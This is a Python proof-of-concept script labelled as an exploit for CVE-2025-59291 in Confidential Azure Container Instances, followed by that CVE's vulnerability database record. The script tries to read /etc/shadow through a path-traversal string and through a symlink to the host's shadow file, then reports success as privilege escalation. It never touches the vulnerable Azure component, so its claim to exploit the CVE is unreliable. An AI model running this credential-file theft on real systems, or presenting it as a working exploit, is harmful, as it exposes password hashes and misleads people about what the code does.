CVE-2025-59291

# CVE-2025-59291 PoC - Conceptual Proof of Concept # Vulnerability: External Control of File Name or Path in Confidential Azure Container Instances # Type: Privilege Escalation via Path Manipulation (CWE-73) import os import subprocess def exploit_path_traversal(target_path): """ Exploit external control of file name or path to escalate privileges in Confidential Azure Container Instances. """ # Step 1: Craft a malicious path with traversal sequences # The vulnerable component fails to sanitize path inputs malicious_path = "/var/lib/container/../../../etc/shadow" # Step 2: Attempt to read/write to protected resources # using the externally controlled path try: # Simulate the vulnerable file operation # In real scenario, this would be through ACI's internal APIs result = subprocess.run( ["cat", malicious_path], capture_output=True, text=True, timeout=5 ) if result.returncode == 0: print(f"[+] Successfully accessed: {malicious_path}") print(f"[+] Content: {result.stdout[:200]}") return True except Exception as e: print(f"[-] Direct traversal failed: {e}") return False def exploit_symlink_attack(): """ Alternative exploitation via symbolic link manipulation """ # Create a symlink pointing to sensitive host files symlink_path = "/tmp/container_data/sensitive_link" target = "/host/etc/shadow" try: os.symlink(target, symlink_path) print(f"[+] Symlink created: {symlink_path} -> {target}") # Access through the symlink to bypass restrictions with open(symlink_path, 'r') as f: content = f.read() print(f"[+] Accessed sensitive data via symlink") return True except Exception as e: print(f"[-] Symlink attack failed: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-59291 PoC") print("[*] Target: Confidential Azure Container Instances") print("[*] Requires: High privileges within container (PR:H)") print("-" * 50) # Attempt path traversal exploitation if exploit_path_traversal("/etc/shadow"): print("[+] Privilege escalation successful via path traversal!") # Attempt symlink-based exploitation elif exploit_symlink_attack(): print("[+] Privilege escalation successful via symlink attack!") else: print("[-] Exploitation attempts completed")

{"cve": {"id": "CVE-2025-59291", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:12.360", "lastModified": "2025-10-17T15:31:57.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "External control of file name or path in Confidential Azure Container Instances allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_compute_gallery:-:*:*:*:*:*:*:*", "matchCriteriaId": "C376C1DE-E5D6-45E1-8E7A-32F35136EADE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59291", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}